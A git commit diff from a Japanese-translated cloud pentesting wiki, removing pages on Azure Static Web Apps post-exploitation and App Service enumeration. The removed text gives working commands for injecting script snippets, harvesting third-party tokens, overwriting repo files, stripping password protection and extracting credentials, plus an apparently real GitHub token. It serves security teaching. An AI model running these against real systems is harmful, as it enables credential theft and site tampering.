Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

2025-12-29 14:13:20 -08:00 · 2025-01-09 08:11:38 +00:00
parent 32c5c30cf7
commit dc05dfd19b
373 changed files with 3 additions and 553 deletions
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -107,7 +107,7 @@ Get-AzResourceGroup -Debug

 ### Microsoft Graph PowerShell

-Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、そして高度なクエリをサポートしています。最小特権アクセスに重点を置き、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。
+Microsoft Graph PowerShellは、単一のエンドポイントを使用してSharePoint、Exchange、Outlookなどのサービスを含むすべてのMicrosoft Graph APIへのアクセスを可能にするクロスプラットフォームSDKです。PowerShell 7+、MSALによるモダン認証、外部ID、そして高度なクエリをサポートしています。最小特権アクセスに焦点を当てており、安全な操作を保証し、最新のMicrosoft Graph API機能に合わせて定期的に更新を受けます。

 [**インストール手順**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation)については、このリンクを参照してください。

@@ -127,3 +127,5 @@ Azure Active Directory (AD) モジュールは、現在 **非推奨** であり
 > これは Microsoft Graph PowerShell に置き換えられました

 Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-static-web-apps-post-exploitation.md
@@ -1,162 +0,0 @@
-# Az - Static Web Apps Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Azure Static Web Apps
-
-このサービスに関する詳細情報は、以下を確認してください:
-
-{{#ref}}
-../az-services/az-static-web-apps.md
-{{#endref}}
-
-### Microsoft.Web/staticSites/snippets/write
-
-静的ウェブページが任意のHTMLコードを読み込むようにスニペットを作成することが可能です。これにより、攻撃者がウェブアプリ内にJSコードを注入し、資格情報やメモリニックキー（web3ウォレット内）などの機密情報を盗むことができます。
-
-以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::
-```bash
-az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
-"properties": {
-"name": "supersnippet",
-"location": "Body",
-"applicableEnvironmentsMode": "AllEnvironments",
-"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
-"environments": [],
-"insertBottom": false
-}
-}'
-```
-### 設定されたサードパーティの資格情報を読み取る
-
-App Service セクションで説明したように:
-
-{{#ref}}
-../az-privilege-escalation/az-app-services-privesc.md
-{{#endref}}
-
-次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、別のユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。
-```bash
-az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
-```
-このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
-
-ここにトークンを確認するためのいくつかのコマンド例があります：
-```bash
-# GitHub – List Repositories
-curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
-https://api.github.com/user/repos
-
-# Bitbucket – List Repositories
-curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
-https://api.bitbucket.org/2.0/repositories
-
-# Dropbox – List Files in Root Folder
-curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
-
-# OneDrive – List Files in Root Folder
-curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
-https://graph.microsoft.com/v1.0/me/drive/root/children
-```
-### ファイルの上書き - ルート、HTML、JSの上書き...
-
-Azureを通じてアプリを含むGithubリポジトリ内の**ファイルを上書きすることが可能です**。これは、上書きするファイルのパス、ファイルの内容、コミットメッセージを示すリクエストを送信する**Githubトークン**を使用して行います。
-
-攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供する（資格情報、ニーモニックキーを盗む...）か、単に**特定のパスを自分のサーバーに再ルーティング**するために`staticwebapp.config.json`ファイルを上書きすることができます。
-
-> [!WARNING]
-> 攻撃者が何らかの方法でGithubリポジトリを侵害した場合、彼らはGithubから直接ファイルを上書きすることもできることに注意してください。
-```bash
-curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
-"commit": {
-"message": "Update static web app route configuration",
-"branchName": "main",
-"committer": {
-"name": "Azure App Service",
-"email": "donotreply@microsoft.com"
-},
-"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
-"filePath": "staticwebapp.config.json",
-"message": "Update static web app route configuration",
-"repoName": "carlospolop/my-first-static-web-app",
-"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
-},
-"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
-}'
-```
-### Microsoft.Web/staticSites/config/write
-
-この権限を使用すると、静的ウェブアプリを保護する**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することができます:
-```bash
-# Change password
-az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
-"name": "basicAuth",
-"type": "Microsoft.Web/staticSites/basicAuth",
-"properties": {
-"password": "SuperPassword123.",
-"secretUrl": "",
-"applicableEnvironmentsMode": "AllEnvironments"
-}
-}'
-
-# Remove the need of a password
-az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
-"name": "basicAuth",
-"type": "Microsoft.Web/staticSites/basicAuth",
-"properties": {
-"secretUrl": "",
-"applicableEnvironmentsMode": "SpecifiedEnvironments",
-"secretState": "None"
-}
-}'
-```
-### Microsoft.Web/staticSites/listSecrets/action
-
-この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します。
-
-このトークンは、アプリをデプロイすることを可能にします。
-```bash
-az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
-```
-次に、アプリを更新するには、以下のコマンドを実行できます。このコマンドは、**how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**を確認して抽出されたもので、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。
-
-1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)（またはデプロイしたい他のリポジトリ）し、`cd react-basic`を実行します。
-2. デプロイしたいコードを変更します。
-3. 次のコマンドを実行してデプロイします（`<api-token>`を変更することを忘れないでください）：
-```bash
-docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
-```
-### Microsoft.Web/staticSites/write
-
-この権限を使用すると、**静的ウェブアプリのソースを別のGithubリポジトリに変更することが可能ですが、これは通常、アクションを認証したトークンを使用してGithub Actionから行う必要があるため、自動的にはプロビジョニングされません。このトークンはリポジトリのGithubシークレット内で自動的に更新されることはなく（アプリが作成されるときに自動的に追加されるだけです）。**
-```bash
-az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
-```
-### Microsoft.Web/staticSites/resetapikey/action
-
-この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。
-```bash
-az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
-```
-{{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md
+++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md
@@ -1,271 +0,0 @@
-# Az - App Services
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## App Service Basic Information
-
-Azure App Servicesは、開発者が**ウェブアプリケーション、モバイルアプリのバックエンド、およびAPIをシームレスに構築、デプロイ、スケール**できるようにします。複数のプログラミング言語をサポートし、機能と管理を強化するためにさまざまなAzureツールやサービスと統合されています。
-
-各アプリはサンドボックス内で実行されますが、隔離はApp Serviceプランに依存します。
-
- 無料および共有プランのアプリは共有VM上で実行されます。
- スタンダードおよびプレミアムプランのアプリは専用VM上で実行されます。
-
-> [!WARNING]
-> これらの隔離は**他の一般的なウェブ脆弱性**（ファイルアップロードやインジェクションなど）を**防ぐものではない**ことに注意してください。また、**管理アイデンティティ**が使用されている場合、それに**権限を昇格させる**ことができる可能性があります。
-
-アプリにはいくつかの興味深い設定があります：
-
- **Always On**: アプリが常に実行されることを保証します。これが有効でない場合、アプリは20分間の非アクティブ状態の後に停止し、リクエストが受信されると再起動します。
- ウェブジョブが継続的に実行される必要がある場合、アプリが停止するとウェブジョブも停止するため、これは重要です。
- **SSH**: 有効にすると、十分な権限を持つユーザーがSSHを使用してアプリに接続できます。
- **デバッグ**: 有効にすると、十分な権限を持つユーザーがアプリをデバッグできます。ただし、これは48時間ごとに自動的に無効になります。
- **Web App + Database**: ウェブコンソールを使用してデータベースを持つアプリを作成できます。この場合、使用するデータベース（SQLAzure、PostgreSQL、MySQL、MongoDB）を選択でき、Azure Cache for Redisを作成することもできます。
- データベースとRedisの資格情報を含むURLは、**appsettings**に保存されます。
- **コンテナ**: コンテナのURLとアクセスするための資格情報を指定することで、App Serviceにコンテナをデプロイできます。
-
-## Basic Authentication
-
-ウェブアプリ（通常はAzure関数）を作成する際に、Basic Authenticationを有効にするかどうかを指定できます。これは基本的に**SCMとFTP**をアプリケーションに対して有効にするため、これらの技術を使用してアプリケーションをデプロイできるようになります。\
-さらに、それらに接続するために、Azureは**ユーザー名、パスワード、URLを取得するためのAPI**を提供します。
-
-`https://<SMC-URL>/BasicAuth`を使用してウェブブラウザからSCMに接続し、そこにあるすべてのファイルとデプロイメントを確認できます。
-
-### Kudu
-
-Kuduは、**Azure App ServiceおよびFunction Appsのためのデプロイメントエンジンおよび管理プラットフォーム**であり、Gitベースのデプロイメント、リモートデバッグ、およびウェブアプリケーションのファイル管理機能を提供します。ウェブアプリのSCM URLを通じてアクセスできます。
-
-App ServicesとFunction Appsで使用されるKuduのバージョンは異なり、Function Appsのバージョンははるかに制限されています。
-
-Kuduで見つけることができるいくつかの興味深いエンドポイントは次のとおりです：
- `/DebugConsole`: Kuduが実行されている環境でコマンドを実行できるコンソール。
- この環境は**メタデータサービスにアクセスできない**ことに注意してください。
- `/webssh/host`: アプリが実行されているコンテナ内に接続できるウェブベースのSSHクライアント。
- この環境は**メタデータサービスにアクセスできる**ため、割り当てられた管理アイデンティティからトークンを取得できます。
- `/Env`: システム、アプリ設定、環境変数、接続文字列、およびHTTPヘッダーに関する情報を取得します。
- `/wwwroot/`: ウェブアプリのルートディレクトリ。ここからすべてのファイルをダウンロードできます。
-
-## Sources
-
-App Servicesは、デフォルトでコードをzipファイルとしてアップロードすることを許可しますが、サードパーティサービスに接続してそこからコードを取得することも可能です。
-
- 現在サポートされているサードパーティソースは**Github**と**Bitbucket**です。
- 認証トークンを取得するには、`az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`を実行します。
- Azureはデフォルトで、コードが更新されるたびにApp Serviceにコードをデプロイするための**Github Action**を設定します。
- そこからコードを取得するために、**リモートgitリポジトリ**（ユーザー名とパスワード）を指定することも可能です。
- リモートリポジトリの資格情報を取得するには、`az webapp deployment source show --name <app-name> --resource-group <res-group>`または`az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`を実行します。
- **Azure Repository**を使用することも可能です。
- **ローカルgitリポジトリ**を構成することも可能です。
- `az webapp deployment source show --name <app-name> --resource-group <res-group>`を実行することでgitリポジトリのURLを取得でき、これはアプリのSCM URLになります。
- クローンするには、`az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>`で取得できるSCM資格情報が必要です。
-
-## Webjobs
-
-Azure WebJobsは、**Azure App Service環境で実行されるバックグラウンドタスク**です。これにより、開発者はウェブアプリケーションと並行してスクリプトやプログラムを実行でき、ファイル処理、データ処理、またはスケジュールされたタスクなどの非同期または時間集約型の操作を簡単に処理できます。
-Webジョブには2種類あります：
- **Continuous**: 無限にループで実行され、作成されるとすぐにトリガーされます。常に処理が必要なタスクに最適です。ただし、Always Onが無効になっていて、過去20分間リクエストを受信していない場合、アプリが停止するとウェブジョブも停止します。
- **Triggered**: オンデマンドまたはスケジュールに基づいて実行されます。バッチデータの更新やメンテナンスルーチンなどの定期的なタスクに最適です。
-
-Webジョブは、環境内で**コードを実行**し、接続された管理アイデンティティに**権限を昇格**させるために使用できるため、攻撃者の視点から非常に興味深いです。
-
-さらに、Webジョブによって生成された**ログ**を確認することは常に興味深いです。これには**機密情報**が含まれている可能性があります。
-
-### Slots
-
-Azure App Service Slotsは、同じApp Serviceに**アプリケーションの異なるバージョンをデプロイ**するために使用されます。これにより、開発者は新しい機能や変更を本番環境にデプロイする前に別の環境でテストできます。
-
-さらに、特定のスロットに**トラフィックの割合をルーティング**することが可能で、これは**A/Bテスト**やバックドア目的に便利です。
-
-### Azure Function Apps
-
-基本的に**Azure Function AppsはAzure App Serviceのサブセット**であり、ウェブコンソールにアクセスしてすべてのアプリサービスをリスト表示するか、az cliで`az webapp list`を実行すると、**Function Appsもここにリストされているのを見ることができます**。
-
-実際、App Servicesが使用する**セキュリティ関連の機能**（az cliの`webapp`）は、**Function Appsでも使用されています**。
-
-### Enumeration
-
-{{#tabs }}
-{{#tab name="az" }}
-```bash
-# List webapps
-az webapp list
-## Less information
-az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
-## Get SCM URL of each webapp
-az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
-
-# Get info about 1 app
-az webapp show --name <name> --resource-group <res-group>
-
-# Get instances of a webapp
-az webapp list-instances --name <name> --resource-group <res-group>
-## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
-
-# Get access restrictions of an app
-az webapp config access-restriction show --name <name> --resource-group <res-group>
-
-# Remove access restrictions
-az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
-
-# Get connection strings of a webapp
-az webapp config connection-string list --name <name> --resource-group <res-group>
-
-# Get appsettings of an app
-az webapp config appsettings list --name <name> --resource-group <res-group>
-
-# Get SCM and FTP credentials
-az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
-
-# Get configured Auth information
-az webapp auth show --name <app-name> --resource-group <res-group>
-
-# Get backups of a webapp
-az webapp config backup list --webapp-name <name> --resource-group <res-group>
-
-# Get backups scheduled for a webapp
-az webapp config backup show --webapp-name <name> --resource-group <res-group>
-
-# Get snapshots
-az webapp config snapshot list --resource-group <res-group> -n <name>
-
-# Restore snapshot
-az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
-
-# Get slots
-az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
-az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
-
-# Get traffic-routing
-az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
-
-# Get used container by the app
-az webapp config container show --name <name> --resource-group <res-group>
-
-# Get storage account configurations of a webapp
-az webapp config storage-account list --name <name> --resource-group <res-group>
-
-# Get configured container (if any) in the webapp, it could contain credentials
-az webapp config container show --name <name> --resource-group <res-group>
-
-# Get Webjobs
-az webapp webjob continuous list --resource-group <res-group> --name <app-name>
-az webapp webjob triggered list --resource-group <res-group> --name <app-name>
-
-# Read webjobs logs with Azure permissions
-az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
-az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"
-
-# Read webjobs logs with SCM credentials
-curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
--user '<username>:<password>' -v
-
-# Get connections of a webapp
-az webapp conection list --name <name> --resource-group <res-group>
-
-# Get hybrid-connections of a webapp
-az webapp hybrid-connections list --name <name> --resource-group <res-group>
-```
-{{#endtab }}
-
-{{#tab name="Az Powershell" }}
-```powershell
-# Get App Services and Function Apps
-Get-AzWebApp
-# Get only App Services
-Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
-```
-{{#endtab }}
-
-{{#tab name="az get all" }}
-```bash
-#!/bin/bash
-
-# Get all App Service and Function Apps
-
-# Define Azure subscription ID
-azure_subscription="your_subscription_id"
-
-# Log in to Azure
-az login
-
-# Select Azure subscription
-az account set --subscription $azure_subscription
-
-# Get all App Services in the specified subscription
-list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
-
-# Iterate over each App Service
-echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
-# Get the type of the App Service
-service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
-
-# Check if it is a Function App and print its name
-if [ "$service_type" == "functionapp" ]; then
-echo "Function App Name: $appServiceName"
-fi
-done
-```
-{{#endtab }}
-{{#endtabs }}
-
-#### 資格情報を取得し、webappコードにアクセスする
-```bash
-# Get connection strings that could contain credentials (with DBs for example)
-az webapp config connection-string list --name <name> --resource-group <res-group>
-## Check how to use the DBs connection strings in the SQL page
-
-# Get credentials to access the code and DB credentials if configured.
-az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
-
-
-# Get git URL to access the code
-az webapp deployment source config-local-git --resource-group <res-group> -n <name>
-
-# Access/Modify the code via git
-git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
-## In my case the username was: $nameofthewebapp and the password some random chars
-## If you change the code and do a push, the app is automatically redeployed
-```
-{{#ref}}
-../az-privilege-escalation/az-app-services-privesc.md
-{{#endref}}
-
-## Webアプリを生成する例
-
-### ローカルからのPython
-
-このチュートリアルは、[https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli)のものに基づいています。
-```bash
-# Clone repository
-git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
-cd msdocs-python-flask-webapp-quickstart
-
-# Create webapp from this code
-az webapp up --runtime PYTHON:3.9 --sku B1 --logs
-```
-SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。
-
-> [!TIP]
-> FTP経由で接続して`output.tar.gz`ファイルを変更するだけでは、ウェブアプリで実行されるコードを変更するには不十分です。
-
-**攻撃者はこのファイルをダウンロードし、変更して再アップロードすることで、ウェブアプリで任意のコードを実行することができます。**
-
-### GithubからのPython
-
-このチュートリアルは前のものに基づいていますが、Githubリポジトリを使用しています。
-
-1. Githubアカウントでリポジトリmsdocs-python-flask-webapp-quickstartをフォークします。
-2. Azureで新しいPython Web Appを作成します。
-3. `Deployment Center`でソースを変更し、Githubでログインし、フォークしたリポジトリを選択して`Save`をクリックします。
-
-前のケースと同様に、SCMポータルにログインするか、FTP経由でログインすると、`/wwwroot`にウェブアプリのコードを含む圧縮ファイル`output.tar.gz`が表示されます。
-
-> [!TIP]
-> FTP経由で接続して`output.tar.gz`ファイルを変更し、デプロイを再トリガーするだけでは、ウェブアプリで実行されるコードを変更するには不十分です。
-
-
-## 参考文献
-
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
-
-{{#include ../../../banners/hacktricks-training.md}}